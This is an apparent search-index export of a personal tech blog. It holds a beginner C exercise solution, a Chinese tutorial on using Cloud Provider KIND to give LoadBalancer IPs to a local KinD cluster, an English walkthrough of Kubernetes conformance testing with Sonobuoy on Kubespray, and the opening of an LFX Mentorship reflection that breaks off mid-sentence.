題目連結：https://etutor2.itsa.org.tw/mod/topics/view.php?id=15903\n敘述 Description # 試撰寫一程式，可由鍵盤輸入英哩，程式的輸出為公里，其轉換公式如下： 1 英哩= 1.6 公里\n輸入 Input # 輸入欲轉換之英哩數(int)。\n輸出 Output # 輸出公里(double)，取到小數點以下第一位。\n範例輸入 Sample Input # 90 95 範例輸出 Sample Output # 144.0 152.0 提示 Hint # 題解 Solution # 題目需要以整數 (int) 讀取，以雙倍精度浮點數 (double) 輸出，因此會需要強制轉換型態後乘上 1.6。\nprintf 就會需要以 lf 輸出，但這樣還不夠，要取到小數點後一位，則需要 .1 標示取得位數長度。\n程式碼 Accepted Code # #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int main() { int km; scanf(\u0026#34;%d\u0026#34;, \u0026amp;km); printf(\u0026#34;%.1lf\\n\u0026#34;, (double)km * 1.6); return 0; } 後記 Afterword # ChatGPT 當道的時代，還會有人需要看 blog 嗎？我其實很意外的是，ITSA 基礎題庫的點閱比我其他文章還高？\n","date":"2024/12/07","externalUrl":null,"permalink":"/posts/itsa-basic-02/","section":"Posts","summary":"題目 Problem # 題目連結：https://etutor2.itsa.org.tw/mod/topics/view.php?id=15903\n","title":"ITSA 基礎題庫 —— 題目02. 英哩轉公里","type":"posts"},{"content":"","date":"2024/12/07","externalUrl":null,"permalink":"/tags/type-casting/","section":"Tags","summary":"","title":"Type Casting","type":"tags"},{"content":"","date":"2024/10/31","externalUrl":null,"permalink":"/tags/cloud-provider/","section":"Tags","summary":"","title":"Cloud Provider","type":"tags"},{"content":"Kubernetes in Docker (KinD) 是一款使用 Docker 容器作為「節點」的工具，適合在本地環境中測試、執行 Kubernetes 叢集。 通常在 Kubernetes 的 Load Balancer 設定中，公有雲可以直接使用內建功能，但在私有雲中則需依賴 MetalLB 或 Cilium L2 Announcements 等工具來分配 IP 位址。\nKinD 無法模擬所有雲端服務商的功能，特別是 Load Balancer，因此使用體驗受限。 為此，KinD 建議使用者透過 MetalLB 自行配置，但設定過程較為複雜。\nCloud Provider Kind # KubeCon + CloudNativeCon Europe 2024 終於有專屬工具可以處理 KinD 的 Load Balancer —— Cloud Provider Kind。 同時，也可以來測試雲端供應商的功能，提供一種獨立且低成本的方式解決。\n詳情可以看他們的影片介紹：\nMac 和 Windows 限制 # 目前最新版本 (v0.4.0) 完全支援於 Linux 系統，但對於 Mac 和 Windows 系統則需要開啟最高權限：\nMac 執行時必須使用 sudo Windows 使用 Shell 執行時必須要 以系統管理員身分執行 (Run as administrator) 實作：KinD + Cloud Provider Kind # 接下來把 KinD 賦予 Service 的 Load Balancer 功能吧！\n環境資訊 # 筆者使用 MacBook Pro M2 Max，環境會用虛擬機安裝 Ubuntu 24.04 版本。\nMacBook Pro 16\u0026quot; 2023 (M2 Max) Host OS: macOS Sequoia 15.0.1 Parallels Desktop Pro 20.1.1 (55740) Guest OS: Ubuntu 24.04.1 (Noble Numbat) ARM64 Docker: 27.3.1 Go: 1.23 KinD: v0.24.0 Kubernetes: v1.31.0 本文節省流程，已經先把 Go、Docker、KinD 和 kubectl 命令列都安裝完成。\n下載 Cloud Provider KIND # 先下載 Cloud Provider KIND，官方建議透過 go install 作為安裝方式：\ngo install sigs.k8s.io/cloud-provider-kind@latest 如果是在一般使用者操作，路徑會在 ~/go/bin 底下，可以加入到環境變數中，或者安裝在 /usr/local/bin。\nsudo install ~/go/bin/cloud-provider-kind /usr/local/bin 建立 KinD cluster # kind.yaml 檔案內容如下：\nkind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 name: cloud-provider-test nodes: - role: control-plane - role: worker - role: worker - role: worker 這一組 cluster 有 4 個節點，其中 1 個節點是 control plane，其它 3 個節點是 worker。\n接下來啟動 cluster，啟動方式如下：\nkind create cluster --config=kind.yaml 按下 enter 鍵後，會跳出這些訊息：\nCreating cluster \u0026#34;cloud-provider-test\u0026#34; ... ✓ Ensuring node image (kindest/node:v1.31.0) 🖼 ✓ Preparing nodes 📦 📦 📦 📦 ✓ Writing configuration 📜 ✓ Starting control-plane 🕹️ ✓ Installing CNI 🔌 ✓ Installing StorageClass 💾 ✓ Joining worker nodes 🚜 Set kubectl context to \u0026#34;kind-cloud-provider-test\u0026#34; You can now use your cluster with: kubectl cluster-info --context kind-cloud-provider-test Not sure what to do next? 😅 Check out https://kind.sigs.k8s.io/docs/user/quick-start/ 接下來就使用 kubectl 看一下 node 是否正常：\nkubectl get node 輸出結果：\nNAME STATUS ROLES AGE VERSION cloud-provider-test-control-plane Ready control-plane 36s v1.31.0 cloud-provider-test-worker Ready \u0026lt;none\u0026gt; 25s v1.31.0 cloud-provider-test-worker2 Ready \u0026lt;none\u0026gt; 25s v1.31.0 cloud-provider-test-worker3 Ready \u0026lt;none\u0026gt; 25s v1.31.0 確定正常運作後，就可以來使用 Cloud Provider KIND。\n啟動 Cloud Provider KIND # 下一步就是啟動 Cloud Provider KIND，我們另外開一個 Terminal 視窗，啟動方式很簡單：\ncloud-provider-kind 然後就可以掛在旁邊了，測試結束就可以直接把它 control + c 中斷。\n測試 Load Balancer # 這裡筆者會分兩段做測試，第一段會使用 Agnhost 測試，這也是 Cloud Provider KIND 給的範例。 第二段會使用 Istio Ingress 搭配 gateway 和 virtual service 測試 reverse proxy。\n1. Agnhost # 接下來我們用 Cloud Provider KIND 給的 examples/loadbalancer_etp_cluster.yaml 建立 service 和 deployment，內容如下：\napiVersion: apps/v1 kind: Deployment metadata: name: policy-cluster labels: app: MyClusterApp spec: replicas: 1 selector: matchLabels: app: MyClusterApp template: metadata: labels: app: MyClusterApp spec: containers: - name: agnhost image: registry.k8s.io/e2e-test-images/agnhost:2.40 args: - netexec - --http-port=8080 - --udp-port=8080 ports: - containerPort: 8080 --- apiVersion: v1 kind: Service metadata: name: lb-service-cluster spec: type: LoadBalancer externalTrafficPolicy: Cluster selector: app: MyClusterApp ports: - protocol: TCP port: 80 targetPort: 8080 確認沒問題後，就 apply 進 cluster：\nkubectl apply -f https://raw.githubusercontent.com/kubernetes-sigs/cloud-provider-kind/refs/tags/v0.4.0/examples/loadbalancer_etp_cluster.yaml 建立完成後，會跳出這些訊息：\ndeployment.apps/policy-cluster created service/lb-service-cluster created 也可以看一下 kubectl get service 結果：\nNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kubernetes ClusterIP 10.96.0.1 \u0026lt;none\u0026gt; 443/TCP 2m20s lb-service-cluster LoadBalancer 10.96.172.16 172.18.0.8 80:32709/TCP 25s 本機端 Service 的 External IP 以往只能看到 \u0026lt;pending\u0026gt;，現在就可以看到有 IP。\n接下來就可以用 curl 查看 External IP 是不是有效果：\ncurl http://172.18.0.8/hostname 輸出結果如下：\npolicy-cluster-85cd85b758-bnm75 實驗完成後，記得要清理資源：\nkubectl delete -f https://raw.githubusercontent.com/kubernetes-sigs/cloud-provider-kind/refs/tags/v0.4.0/examples/loadbalancer_etp_cluster.yaml 筆者展示多個 Load Balancer 功能，這裡不刪除 Agnhost 直接繼續下一個 Istio Ingress 實驗。\n2. Istio Ingress # 這次 Istio Ingress 筆者用 istioctl 做安裝，\nistioctl install --set profile=default -y |\\ | \\ | \\ | \\ /|| \\ / || \\ / || \\ / || \\ / || \\ / || \\ /______||__________\\ ____________________ \\__ _____/ \\_____/ ✔ Istio core installed ⛵️ ✔ Istiod installed 🧠 ✔ Ingress gateways installed 🛬 ✔ Installation complete Made this installation the default for cluster-wide operations. Istio 預設會安裝在名為 istio-system 的 namespace 底下，用 kubectl get svc -n istio-system 看一下結果：\nNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE istio-ingressgateway LoadBalancer 10.96.245.27 172.18.0.9 15021:31224/TCP,80:32426/TCP,443:31925/TCP 29s istiod ClusterIP 10.96.93.192 \u0026lt;none\u0026gt; 15010/TCP,15012/TCP,443/TCP,15014/TCP 31s 接下來會有三個檔案，分別為 service-gateway.yaml、nginx.yaml 和 apache.yaml，會透過不同的 hostname 導流到不同的 service。\nservice-gateway.yaml\napiVersion: networking.istio.io/v1beta1 kind: Gateway metadata: name: service-gateway namespace: istio-system spec: selector: app: istio-ingressgateway servers: - port: number: 80 name: http protocol: HTTP hosts: - \u0026#34;*.lab.yjerry.tw\u0026#34; nginx.yaml\napiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment labels: app: nginx spec: replicas: 1 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:latest ports: - containerPort: 80 --- apiVersion: v1 kind: Service metadata: name: nginx-service labels: app: nginx spec: selector: app: nginx ports: - protocol: TCP port: 80 targetPort: 80 --- apiVersion: networking.istio.io/v1beta1 kind: VirtualService metadata: name: nginx-vs spec: hosts: - \u0026#34;nginx.lab.yjerry.tw\u0026#34; gateways: - istio-system/service-gateway http: - route: - destination: host: nginx-service port: number: 80 apache.yaml\napiVersion: apps/v1 kind: Deployment metadata: name: apache-deployment labels: app: apache spec: replicas: 1 selector: matchLabels: app: apache template: metadata: labels: app: apache spec: containers: - name: apache image: httpd:latest ports: - containerPort: 80 --- apiVersion: v1 kind: Service metadata: name: apache-service labels: app: apache spec: selector: app: apache ports: - protocol: TCP port: 80 targetPort: 80 --- apiVersion: networking.istio.io/v1beta1 kind: VirtualService metadata: name: apache-vs spec: hosts: - \u0026#34;apache.lab.yjerry.tw\u0026#34; gateways: - istio-system/service-gateway http: - route: - destination: host: apache-service port: number: 80 接下來套用進 cluster：\nkubectl apply -f service-gateway.yaml -f nginx.yaml -f apache.yaml 輸出結果如下：\ngateway.networking.istio.io/service-gateway created deployment.apps/nginx-deployment created service/nginx-service created virtualservice.networking.istio.io/nginx-vs created deployment.apps/apache-deployment created service/apache-service created virtualservice.networking.istio.io/apache-vs created 現在使用 curl 來測試，可以用 --resolve 參數把 hostname 暫時解析成指定的 IP。 使用方式：curl --resolve \u0026lt;host:port:ip\u0026gt; \u0026lt;URL\u0026gt; 其中 host 就是 hostname，port 就是連接阜，ip 就是要解析的指定 IP。\ncurl --resolve nginx.lab.yjerry.tw:80:172.18.0.9 http://nginx.lab.yjerry.tw \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Welcome to nginx!\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; html { color-scheme: light dark; } body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Welcome to nginx!\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;If you see this page, the nginx web server is successfully installed and working. Further configuration is required.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;For online documentation and support please refer to \u0026lt;a href=\u0026#34;http://nginx.org/\u0026#34;\u0026gt;nginx.org\u0026lt;/a\u0026gt;.\u0026lt;br/\u0026gt; Commercial support is available at \u0026lt;a href=\u0026#34;http://nginx.com/\u0026#34;\u0026gt;nginx.com\u0026lt;/a\u0026gt;.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;em\u0026gt;Thank you for using nginx.\u0026lt;/em\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 看起來 Nginx 解析成功，下一個換 Apache 的服務，可以使用 -v 看詳細情況：\ncurl -v --resolve apache.lab.yjerry.tw:80:172.18.0.9 http://apache.lab.yjerry.tw * Added apache.lab.yjerry.tw:80:172.18.0.9 to DNS cache * Hostname apache.lab.yjerry.tw was found in DNS cache * Trying 172.18.0.9:80... * Connected to apache.lab.yjerry.tw (172.18.0.9) port 80 \u0026gt; GET / HTTP/1.1 \u0026gt; Host: apache.lab.yjerry.tw \u0026gt; User-Agent: curl/8.5.0 \u0026gt; Accept: */* \u0026gt; \u0026lt; HTTP/1.1 200 OK \u0026lt; date: Tue, 29 Oct 2024 17:39:10 GMT \u0026lt; server: istio-envoy \u0026lt; last-modified: Mon, 11 Jun 2007 18:53:14 GMT \u0026lt; etag: \u0026#34;2d-432a5e4a73a80\u0026#34; \u0026lt; accept-ranges: bytes \u0026lt; content-length: 45 \u0026lt; content-type: text/html \u0026lt; x-envoy-upstream-service-time: 0 \u0026lt; \u0026lt;html\u0026gt;\u0026lt;body\u0026gt;\u0026lt;h1\u0026gt;It works!\u0026lt;/h1\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; * Connection #0 to host apache.lab.yjerry.tw left intact Apache 解析也沒有問題，這樣就可以在本機上測試 Istio Ingress 的設定了！\n最後把 Istio 資源移除：\nkubectl delete -f service-gateway.yaml -f nginx.yaml -f apache.yaml istioctl uninstall --purge 清除測試用的 Kind # 先把 cloud-provider-kind 的視窗按一下 control + c 結束：\nI1030 02:00:11.476128 20325 node_controller.go:271] Update 4 nodes status took 113.554874ms. ^CI1030 02:00:21.887163 20325 app.go:69] Exiting: received signal I1030 02:00:21.887609 20325 controller.go:304] Cleaning resources for cluster cloud-provider-test I1030 02:00:21.887734 20325 controller.go:253] Shutting down service controller 接下來使用 kind 把測試用的 cluster 移除：\nkind delete cluster --name=cloud-provider-test 輸出結果如下：\nDeleting cluster \u0026#34;cloud-provider-test\u0026#34; ... Deleted nodes: [\u0026#34;cloud-provider-test-worker\u0026#34; \u0026#34;cloud-provider-test-control-plane\u0026#34; \u0026#34;cloud-provider-test-worker3\u0026#34; \u0026#34;cloud-provider-test-worker2\u0026#34;] 結語 # 終於可以在 KinD 裡面好好測試 Load Balancer 了，不得不說，這功能真的很方便，補足了以往無法本機測試 Load Balancer 的問題。 目前在 Linux 系統都可以使用，不過 Mac 我在測試 OrbStack 環境時，從 Host 發出會無法連線，我還不太清楚這是 Cloud Provider Kind 的問題還是 OrbStack 的問題，但我沒有在 Mac 裝 Docker 就沒辦法測試。\n不過，在我研究這問題的時候，我也順便看了 Cloud Provider Kind 的實作方式，有機會再來跟各位分享！\n另外，我在 Buy Me a Coffee 開設了自己的專屬平台，如果這篇文章對你有幫助，除了按讚、留言以外，歡迎大家在文章下方點擊 Buy Me a Coffee 按鈕，鼓勵我創作更好的文章，我們下一篇文章見！\n","date":"2024/10/31","externalUrl":null,"permalink":"/posts/cloud-provider-kind-load-balancer/","section":"Posts","summary":"Kubernetes in Docker (KinD) 是一款使用 Docker 容器作為「節點」的工具，適合在本地環境中測試、執行 Kubernetes 叢集。 通常在 Kubernetes 的 Load Balancer 設定中，公有雲可以直接使用內建功能，但在私有雲中則需依賴 MetalLB 或 Cilium L2 Announcements 等工具來分配 IP 位址。\n","title":"Cloud Provider KIND - 讓你的 KinD 賦予 Load Balancer 吧！","type":"posts"},{"content":"","date":"2024/10/31","externalUrl":null,"permalink":"/tags/load-balancer/","section":"Tags","summary":"","title":"Load Balancer","type":"tags"},{"content":"","date":"11 September 2024","externalUrl":null,"permalink":"/en/tags/cncf/","section":"Tags","summary":"","title":"Cncf","type":"tags"},{"content":"","date":"11 September 2024","externalUrl":null,"permalink":"/en/tags/conformance/","section":"Tags","summary":"","title":"Conformance","type":"tags"},{"content":"Numerous Kubernetes distributions (e.g., k0s, K3s, Rancher, etc.) and cloud services offering Kubernetes (e.g., GKE, AKS, EKS) are available today. But have you ever wondered why these communities or cloud providers claim to provide Kubernetes? Could I also claim to offer Kubernetes?\nThis article is in English. For the Traditional Chinese version, please click here.\n本篇文章為英文版本，繁體中文版本請點擊這裡。 The answer is that you must pass the Kubernetes Conformance Test!\nWhat is Kubernetes Conformance? # Kubernetes Conformance checks whether a Kubernetes distribution adheres to the specifications, ensuring compatibility across different systems. This includes APIs, networking, storage, resource scheduling, and security. Only distributions that pass all tests can be considered Certified Kubernetes.\nWhat are the benefits of becoming Certified Kubernetes? According to CNCF’s official website:\nConsistency: Users expect consistent operations across any Kubernetes version. Timely Updates: To maintain certification, providers must deliver the latest Kubernetes versions annually or more frequently, ensuring users can access the latest features. Verifiability: End-users can verify compliance by running the same open-source conformance application (e.g., Sonobuoy) used for certification. Is certification free for everyone? # Nonprofit organizations and CNCF members are not charged certification fees.\nCompanies that are not CNCF members but wish to be certified must pay a membership fee to CNCF.\nNonprofits must complete a certification agreement, including project contact information, before certification.\nFor more details, visit CNCF’s official page on Kubernetes Conformance：https://cncf.io/ck\nIntroduction to Sonobuoy # Sonobuoy is a diagnostic tool that runs plugins (including Kubernetes conformance tests) in a non-destructive and easily understandable manner to help you assess the state of a Kubernetes cluster. It offers a customizable, extensible, and cluster-agnostic approach to generate rich, clear cluster reports.\nSonobuoy supports the following use cases through selective data dumping of Kubernetes resource objects and cluster nodes:\nIntegrated end-to-end (e2e) conformance testing Workload debugging Custom data collection via extensible components Project website: https://sonobuoy.io/ GitHub: https://github.com/vmware-tanzu/sonobuoy\nNext, we’ll use Sonobuoy’s “E2E \u0026amp; Conformance” plugin to perform a conformance test on our Kubernetes cluster!\nUsing Sonobuoy: Example with Kubespray v2.26.0 # On September 6, 2024, Kubespray released version 2.26.0, corresponding to Kubernetes v1.30.4. Let’s use this version for demonstration and upload the results to cncf/k8s-conformance!\nDemo Environment # For this demo, I used a MacBook Pro M2 Max. When downloading programs or images, use the arm64 version. If using Intel architecture, replace with amd64 accordingly.\nMacBook Pro 16\u0026quot; 2023 (M2 Max) Host OS: macOS Sonoma 14.6.1 Guest OS: Ubuntu 24.04 Python 3.12.5 (Virtualenv) Parallels Desktop Pro 19.4.1 (54985) Vagrant 2.4.1 For Python environment isolation, I recommend using Virtualenv.\nSetting Up the Environment # First, download Kubespray v2.26.0:\ngit clone https://github.com/kubernetes-sigs/kubespray.git cd kubespray git checkout v2.26.0 Assuming Python is already set up, install Kubespray’s dependencies:\npip install -r requirements.txt Kubespray provides Vagrant for testing. Configure it as follows:\nmkdir -p vagrant cat \u0026gt; ./vagrant/config.rb \u0026lt;\u0026lt;__EOF__ $instance_name_prefix = \u0026#34;kube\u0026#34; $vm_cpus = 4 $vm_memory = 4096 $num_instances = 3 $os = \u0026#34;ubuntu2404\u0026#34; $subnet = \u0026#34;10.2.20\u0026#34; $inventory = \u0026#34;inventory/k8s-conformance\u0026#34; $network_plugin = \u0026#34;calico\u0026#34; __EOF__ mkdir -p inventory/k8s-conformance Now, simply run vagrant up to start the machines and use Kubespray to install Kubernetes.\nDetails for configuring Vagrant providers are omitted here; please refer to online resources for setting up Vagrant providers. vagrant up Once setup is complete, SSH into the kube-1 machine using vagrant and switch to the root user:\nvagrant ssh kube-1 sudo -i Verify the setup with kubectl get node:\nroot@kube-1:~# kubectl get node NAME STATUS ROLES AGE VERSION kube-1 Ready control-plane 19h v1.30.4 kube-2 Ready control-plane 19h v1.30.4 kube-3 Ready \u0026lt;none\u0026gt; 19h v1.30.4 If it looks good, install Sonobuoy to begin testing.\nInstalling and Running Sonobuoy # Download the ARM version of Sonobuoy and extract it:\ncurl -sfL -O https://github.com/vmware-tanzu/sonobuoy/releases/download/v0.57.2/sonobuoy_0.57.2_linux_arm64.tar.gz tar -xzvf sonobuoy_0.57.2_linux_arm64.tar.gz Once everything is confirmed to be fine, you can start testing with sonobuoy run. Set the --mode option to certified-conformance for conformance test.\nFor Intel versions, use sonobuoy/systemd-logs (without the architecture suffix) for the --systemd-logs-image argument. export SONOBUOY_IMAGE_VERSION=v0.57 export SONOBUOY_LOGS_IMAGE_VERSION=v0.4 ./sonobuoy run --mode=certified-conformance \\ --sonobuoy-image=sonobuoy/sonobuoy:$SONOBUOY_IMAGE_VERSION \\ --systemd-logs-image=sonobuoy/systemd-logs-arm64:$SONOBUOY_LOGS_IMAGE_VERSION \\ --wait Next comes a long wait. Previously, using CNTUG Infra Labs to run 16 vCPUs and 16G RAM with VirtualBox took about 2 hours. You might consider taking a nap and checking the results later.\nDuring the wait, you can open another terminal window and use sudo kubectl get pod -A -w to see what is currently being tested:\nvagrant@kube-1:~$ sudo kubectl get pod -A -w NAMESPACE NAME READY STATUS RESTARTS AGE cronjob-5525 concurrent-28764978-rddh8 1/1 Running 0 35s kube-system calico-kube-controllers-b5f8f6849-5lb4z 1/1 Running 0 20m kube-system calico-node-bxmn5 1/1 Running 0 20m kube-system calico-node-dj4gm 1/1 Running 0 20m kube-system calico-node-vlpkl 1/1 Running 0 20m kube-system coredns-776bb9db5d-jdwqm 1/1 Running 0 20m kube-system coredns-776bb9db5d-n7jp5 1/1 Running 0 20m kube-system dns-autoscaler-6ffb84bd6-gwwpb 1/1 Running 0 20m kube-system kube-apiserver-kube-1 1/1 Running 0 21m kube-system kube-apiserver-kube-2 1/1 Running 0 21m kube-system kube-controller-manager-kube-1 1/1 Running 1 21m kube-system kube-controller-manager-kube-2 1/1 Running 1 21m kube-system kube-proxy-2mprz 1/1 Running 0 21m kube-system kube-proxy-7h4c6 1/1 Running 0 21m kube-system kube-proxy-8mdcd 1/1 Running 0 21m kube-system kube-scheduler-kube-1 1/1 Running 1 21m kube-system kube-scheduler-kube-2 1/1 Running 1 21m kube-system nginx-proxy-kube-3 1/1 Running 0 20m kube-system nodelocaldns-9mkb8 1/1 Running 0 20m kube-system nodelocaldns-hh8tw 1/1 Running 0 20m kube-system nodelocaldns-wf9m4 1/1 Running 0 20m sonobuoy sonobuoy 1/1 Running 0 10m sonobuoy sonobuoy-e2e-job-7653863eaff14dfe 2/2 Running 0 10m sonobuoy sonobuoy-systemd-logs-daemon-set-22d198ef6e024c5d-2fbhr 2/2 Running 0 10m sonobuoy sonobuoy-systemd-logs-daemon-set-22d198ef6e024c5d-nf5sq 2/2 Running 0 10m sonobuoy sonobuoy-systemd-logs-daemon-set-22d198ef6e024c5d-sbdcw 2/2 Running 0 10m cronjob-5525 concurrent-28764979-bkt42 0/1 Pending 0 0s cronjob-5525 concurrent-28764979-bkt42 0/1 Pending 0 0s cronjob-5525 concurrent-28764979-bkt42 0/1 ContainerCreating 0 0s cronjob-5525 concurrent-28764979-bkt42 0/1 ContainerCreating 0 0s cronjob-5525 concurrent-28764978-rddh8 1/1 Terminating 0 60s cronjob-5525 concurrent-28764979-bkt42 0/1 Terminating 0 0s cronjob-5525 concurrent-28764978-rddh8 1/1 Terminating 0 60s var-expansion-681 var-expansion-bb921fe1-aac4-4040-9659-f0c893bfb41d 0/1 Pending 0 0s var-expansion-681 var-expansion-bb921fe1-aac4-4040-9659-f0c893bfb41d 0/1 Pending 0 0s var-expansion-681 var-expansion-bb921fe1-aac4-4040-9659-f0c893bfb41d 0/1 ContainerCreating 0 0s cronjob-5525 concurrent-28764979-bkt42 0/1 Terminating 0 0s var-expansion-681 var-expansion-bb921fe1-aac4-4040-9659-f0c893bfb41d 0/1 ContainerCreating 0 0s cronjob-5525 concurrent-28764979-bkt42 1/1 Terminating 0 1s var-expansion-681 var-expansion-bb921fe1-aac4-4040-9659-f0c893bfb41d 0/1 CreateContainerConfigError 0 1s var-expansion-681 var-expansion-bb921fe1-aac4-4040-9659-f0c893bfb41d 0/1 Terminating 0 2s var-expansion-681 var-expansion-bb921fe1-aac4-4040-9659-f0c893bfb41d 0/1 Terminating 0 3s var-expansion-681 var-expansion-bb921fe1-aac4-4040-9659-f0c893bfb41d 0/1 Terminating 0 3s Alternatively, you can use sonobuoy status to check the execution status. However, the progress bar seems to be broken in my case, but it doesn’t affect the process.\nroot@kube-1:~# ./sonobuoy status PLUGIN STATUS RESULT COUNT PROGRESS e2e running 1 Passed: 0, Failed: 0, Remaining:402 systemd-logs complete 3 Sonobuoy is still running. Runs can take 60 minutes or more depending on cluster and plugin configuration. Once the test is complete, this message will appear:\n14:10:07 Sonobuoy has completed. Use `sonobuoy retrieve` to get results. root@kube-1:~# Retrieve Sonobuoy Test Results # Next, use sonobuoy retrieve to fetch the results:\nroot@kube-1:~# ./sonobuoy retrieve 202409091608_sonobuoy_f07c551b-1479-42b0-8290-8bb54e8516cb.tar.gz The result is a tar.gz file. Copy it to a regular user directory and change ownership to ensure it can be transferred successfully from the virtual machine to the host machine:\nroot@kube-1:~# cp 202409091608_sonobuoy_f07c551b-1479-42b0-8290-8bb54e8516cb.tar.gz /home/vagrant/result.tar.gz root@kube-1:~# exit logout vagrant@kube-1:~$ sudo chown vagrant:vagrant result.tar.gz vagrant@kube-1:~$ exit logout Back on the host machine, retrieve the test results from the virtual machine kube-1:\nvagrant scp kube-1:result.tar.gz . After extracting the result.tar.gz file, navigate to the folder plugins/e2e/results/global/. The files e2e.log and junit_01.xml are the required results for submission.\nBefore submission, check the last few lines of e2e.log to ensure there are no failures. The output should look something like this:\nRan 402 of 7199 Specs in 6126.157 seconds SUCCESS! -- 402 Passed | 0 Failed | 0 Pending | 6797 Skipped PASS Ginkgo ran 1 suite in 1h42m6.592562066s Test Suite Passed If there are no failures, you’re ready to upload the results!\nUpload Results to GitHub # First, fork the cncf/k8s-conformance repository and select the certification version.\nImportant: Each pull request (PR) should include results for only one certification version. For multiple certifications, create separate PRs.\nFor example, if Kubespray v2.26.0 corresponds to Kubernetes v1.30, create a new folder v1.30/kubespray and include the e2e.log and junit_01.xml files. Since Kubespray has previously submitted results, you only need to update the PRODUCT.yaml version and the description in README.md.\nAdd a commit message: Conformance results for v1.30/kubespray。\nSubmit the PR to CNCF, ensuring the Pre-submission checklist is completed correctly.\nFor reference, here’s the PR link for Kubespray - Kubernetes v1.30 certification: https://github.com/cncf/k8s-conformance/pull/3373\nOnce submitted, wait for the kubernetes-conformance-bot to validate the results. This usually takes 1–2 hours.\nAfter bot validation, CNCF staff will review the submission, which may take 1–2 weeks.\nConclusion # After reading this blog about Conformance, it’s clear that the SIG Architecture team invests significant effort in maintaining the certification process.\nThis certification acts as a “specification manual” for Kubernetes. Passing it means the distribution can be considered a Kubernetes release, ensuring compatibility with features described in the official Kubernetes documentation. However, some distributions offer additional or extended features, requiring careful consideration when switching between distributions.\nFor example, similar to C++ compilers, anyone can implement a C++ compiler as long as they follow the C++ specification. Such a compiler would be compliant. However, compilers like GNU GCC include extended features (e.g., PBDS), which require additional attention when switching to another compiler.\nReferences # Certified Kubernetes Software Conformance - CNCF cncf/k8s-conformance - GitHub Spotlight on SIG Architecture: Conformance - Kubernetes The Kubernetes End-To-End Testing Plugin - Sonobuoy vmware-tanzu/sonobuoy - GitHub Kubespray v2.26.0 - GitHub ","date":"11 September 2024","externalUrl":null,"permalink":"/en/posts/k8s-conformance-sonobuoy/","section":"Posts","summary":"Numerous Kubernetes distributions (e.g., k0s, K3s, Rancher, etc.) and cloud services offering Kubernetes (e.g., GKE, AKS, EKS) are available today. But have you ever wondered why these communities or cloud providers claim to provide Kubernetes? Could I also claim to offer Kubernetes?\n","title":"Kubernetes Conformance Test - Sonobuoy","type":"posts"},{"content":"","date":"11 September 2024","externalUrl":null,"permalink":"/en/tags/sonobuoy/","section":"Tags","summary":"","title":"Sonobuoy","type":"tags"},{"content":"","date":"9 September 2024","externalUrl":null,"permalink":"/en/tags/kubernetes/","section":"Tags","summary":"","title":"Kubernetes","type":"tags"},{"content":"","date":"9 September 2024","externalUrl":null,"permalink":"/en/tags/kubespray/","section":"Tags","summary":"","title":"Kubespray","type":"tags"},{"content":"","date":"9 September 2024","externalUrl":null,"permalink":"/en/tags/lfx-mentorship/","section":"Tags","summary":"","title":"LFX Mentorship","type":"tags"},{"content":"I quickly searched on Google for LFX Mentorship-related posts, and it seems no one from Taiwan has written an internship reflection yet. I\u0026rsquo;ll be the first to lead the way and write the first one!\nThis article is in English. For the Traditional Chinese version, please click here.\n本篇文章為英文版本，繁體中文版本請點擊這裡。 What is Kubespray? # Kubespray is an open-source project under the Kubernetes ecosystem that provides a set of Ansible playbooks, roles, and variables to deploy a highly available and production-ready Kubernetes cluster. It supports multiple cloud providers and bare metal installations, offering flexibility and scalability for deployment environments. Kubespray is designed to simplify installing and managing Kubernetes clusters by automating many complex tasks, including networking, storage, and configuration management. With features like rolling upgrades, idempotency, and support for various plugins, Kubespray is widely used by IT administrators and DevOps engineers to deploy and maintain Kubernetes clusters efficiently.\nProject website: https://kubespray.io GitHub: https://github.com/kubernetes-sigs/kubespray\nWhy did I come across Kubespray? # While working as an intern for my company (shortly after completing my school internship), I needed to practice deploying on-premises Kubernetes. Manually installing it using Kubeadm could be quite time-consuming, as there were many installation details to consider.\nKubespray already has Ansible scripts written for Kubernetes installation. You just need to configure the inventory (host list) and group_vars, and the installation method will run automatically. For example, setting kube_network_plugin to calico or cilium will install the corresponding CNI based on the plugin selected (provided Kubespray has support for it; if not, you can write your contribution or open a feature request).\nAfter getting familiar with Kubespray for a while and gaining insights into IT/SRE and Kubernetes monitoring, I wrote an article titled \u0026ldquo;Newbie IT/SRE Notes in 30 days\u0026rdquo;, which I submitted to the \u0026ldquo;2022 iThome Ironman competition\u0026rdquo;. I wrote about the installation process using Kubespray\u0026rsquo;s latest version (v2.19.1) and covered operations like adding and removing nodes. Regarding page views, Kubespray was my second most-read article (the first about installing Kube Prometheus Stack). Luckily, I was awarded Honorable Mention in the DevOps category.\nAlthough I haven\u0026rsquo;t written any related articles in the last two years, mainly because I\u0026rsquo;ve been focusing on my master\u0026rsquo;s thesis, I\u0026rsquo;ve continued using the project.\nStarting my contribution to Kubespray # After failing my application for LFX Mentorship 2024 Term 1, I began contributing to various projects, including finding a Kubespray issue that I could work on. I submitted my first PR (pull request) to Kubespray, which was merged successfully.\nUbuntu 24.04 was released at the end of April, and in early May, I submitted a PR to support the latest Ubuntu version in Kubespray. Through this, I learned how to use Vagrant. Although the CI tests initially failed, the tests finally passed after some effort and with the maintainers\u0026rsquo; help in building the image for Ubuntu 24.04.\nKubespray was recruiting mentees for LFX Mentorship 2024 Term 2, so I applied again. With my past article contributions and recent involvement in the project, I was fortunate to be accepted as a mentee.\nTasks as a mentee # After a brief chat with my mentor Kay Yan 